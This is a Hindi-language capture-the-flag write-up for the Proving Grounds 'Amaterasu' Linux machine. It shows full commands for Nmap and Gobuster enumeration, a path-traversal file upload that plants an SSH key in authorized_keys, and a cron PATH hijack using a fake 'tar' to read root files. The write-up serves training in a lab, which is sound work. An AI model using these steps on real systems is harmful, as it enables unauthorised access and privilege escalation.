कंटेंट पर जाएँ
HackIndex logo

HackIndex

Amaterasu Writeup - Proving Grounds

Easy Linux

अंतिम अपडेट जुलाई 14, 2026 7 min read

Discovery

हम टारगेट के खिलाफ एक फुल Nmap scan से शुरुआत करते हैं ताकि एक्सपोज़्ड services और उनके versions को पहचाना जा सके।

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
[+] Discovering all open TCP ports...
<snip>
[+] Parsing open TCP ports...
[+] Running scripts & versions on TCP ports: 21,25022,33414,40080
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-18 04:43 +0100
Nmap scan report for 192.168.184.249
Host is up (0.024s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.222
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
|_  256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
33414/tcp open  http    Werkzeug httpd 2.2.3 (Python 3.9.13)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/2.2.3 Python/3.9.13
40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))
|_http-title: My test page
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.53 (Fedora)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.13 seconds

Results से, कुछ खास ports नज़र आते हैं—खासकर 33414 और 40080।
चूंकि ये web-facing लगते हैं, हम उन्हें Gobuster के साथ आगे enumerate करते हैं ताकि छिपे हुए paths और endpoints को खोजा जा सके।

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://$TARGET_IP:33414" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -r
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.184.249:33414
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/help                 (Status: 200) [Size: 137]
/info                 (Status: 200) [Size: 98]
Progress: 87478 / 141707 (61.73%)[ERROR] error on word t-43021: timeout occurred during the request
Progress: 141707 / 141707 (100.00%)
===============================================================
Finished
===============================================================

API Checks

आगे, हम HTTP port 33414 पर क्या चल रहा है, उसे उसके available pages browse करके और responses check करके inspect करते हैं।

/info:

[
  "Python File Server REST API v2.5",
  "Author: Alfredo Moroder",
  "GET /help = List of the commands"
]

/help:

[
  "GET /info : General Info",
  "GET /help : This listing",
  "GET /file-list?dir=/tmp : List of the files",
  "POST /file-upload : Upload files"
]

Output हमें additional functionality की ओर ले जाता है, जिसमें दो खास दिलचस्प endpoints शामिल हैं:

  • /file-list?dir=/tmp

  • /file-upload

हम directory listing behavior को probe करके आगे बढ़ते हैं यह समझने के लिए कि हम क्या access कर सकते हैं और filesystem में हमारी कितनी visibility है।

/file-list?dir=/tmp:

[
  "flask.tar.gz",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ"
]

/file-list?dir=/home:

[
  "alfredo"
]

File Uploading

Reconnaissance पूरा होने के बाद, हम /file-upload endpoint को टेस्ट करने बढ़ते हैं यह देखने के लिए कि uploads को कैसे handle किया जाता है और क्या file type, extension, या content पर कोई restrictions हैं।

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload
{"message":"No file part in the request"}
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload -F '[email protected]'
{"message":"No filename part in the request"}
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload -F '[email protected]' -F 'filename=test.md'
{"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload -F '[email protected]' -F 'filename=test.txt'
{"message":"File successfully uploaded"}

जब हम validation logic को समझ जाते हैं, हम एक payload upload करने की कोशिश करते हैं—जैसे कि एक PHP reverse shell—जबकि उसे एक बेहानिकार .txt file के रूप में पेश करते हैं ताकि filtering को bypass किया जा सके।

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload -F '[email protected]' -F 'filename=/home/alfredo/restapi/test.php'
{"message":"File successfully uploaded"}

Upload करने के बाद, अगला कदम यह verify करना है कि फाइल कहां पहुंची।

File-list feature का उपयोग करके, हम uploaded payload के लिए filesystem में खोजते हैं।

┌──(kali㉿kali)-[~]
└─$ http://192.168.184.249:33414/file-list?dir=/tmp
[
  "flask.tar.gz",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-httpd.service-ahY8MS",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-ModemManager.service-yphYDm",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-logind.service-pY2DMM",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-chronyd.service-Wrr8N4",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-dbus-broker.service-EZf7Au",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-resolved.service-Hibhb0",
  "systemd-private-aaf3eff3160545eab079c1428e55f60d-systemd-oomd.service-yES4xZ",
  "test.php"
]

Initial User Access

यह कन्फर्म करने के बाद कि payload disk पर मौजूद है, हम एक ज़्यादा стаबल access method की ओर pivot करते हैं अपनी SSH public key को यहां जोड़कर:

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://192.168.184.249:33414/file-upload -F '[email protected]' -F 'filename=/home/alfredo/.ssh/authorized_keys'
{"message":"File successfully uploaded"}

Alfredo के अकाउंट में हमारी key जुड़ने के बाद, हम संबंधित private key का उपयोग करके SSH के ज़रिए authenticate कर सकते हैं और alfredo के रूप में एक interactive shell प्राप्त कर सकते हैं।

┌──(kali㉿kali)-[~]
└─$ ssh alfredo@$TARGET_IP -i backdoor -p 25022
Warning: Permanently added '[192.168.184.249]:25022' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ cat /home/alfredo/local.txt 
[HIDDEN]

Privilege Escalation

User shell से, हम scheduled tasks को चेक करते हैं यह पहचानने के लिए कि कुछ भी elevated privileges के साथ चल रहा है या नहीं।

हम cron configuration (system-wide या user-specific) को inspect करते हैं और एक recurring job पाते हैं।

alfredo@fedora $ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

*/1 * * * * root /usr/local/bin/backup-flask.sh
┌──(kali㉿kali)-[~]
└─$ cat /usr/local/bin/backup-flask.sh

Referenced script पढ़ने योग्य है, और उसे रिव्यू करने से एक ज़रूरी डिटेल सामने आती है: यह स्पष्ट रूप से PATH को modify करता है ताकि Alfredo's home directory शामिल हो सके।

#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *

यह एक समस्या है, क्योंकि इसका मतलब है कि Alfredo's directory में मौजूद binaries, script चलने पर system binaries से प्राथमिकता ले सकती हैं।

इस मामले में, script tar को call करता है।. अगर हम PATH में जल्दी आने वाली directory के अंदर एक malicious executable रखते हैं जिसका नाम tar है, तो cron job /bin/tar की जगह हमारा वर्जन execute करेगा।

तो हम उचित स्थान पर एक नकली tar executable बनाते हैं और उसे runnable बनाते हैं।

alfredo@fedora $ touch /home/alfredo/restapi/tar
alfredo@fedora $ chmod +x /home/alfredo/restapi/tar
alfredo@fedora $ nano /home/alfredo/restapi/tar
cp /root/*.txt /tmp
chmod 644 /tmp/*.txt

चूंकि cron job हर मिनट चलता है, हम अगले execution का इंतज़ार करते हैं।

जब यह ट्रिगर होता है, हमारा payload cron job के privileges (root) के साथ चलता है, जो हमें root flag retrieve करने की अनुमति देता है:

alfredo@fedora $ cat /tmp/proof.txt
[HIDDEN]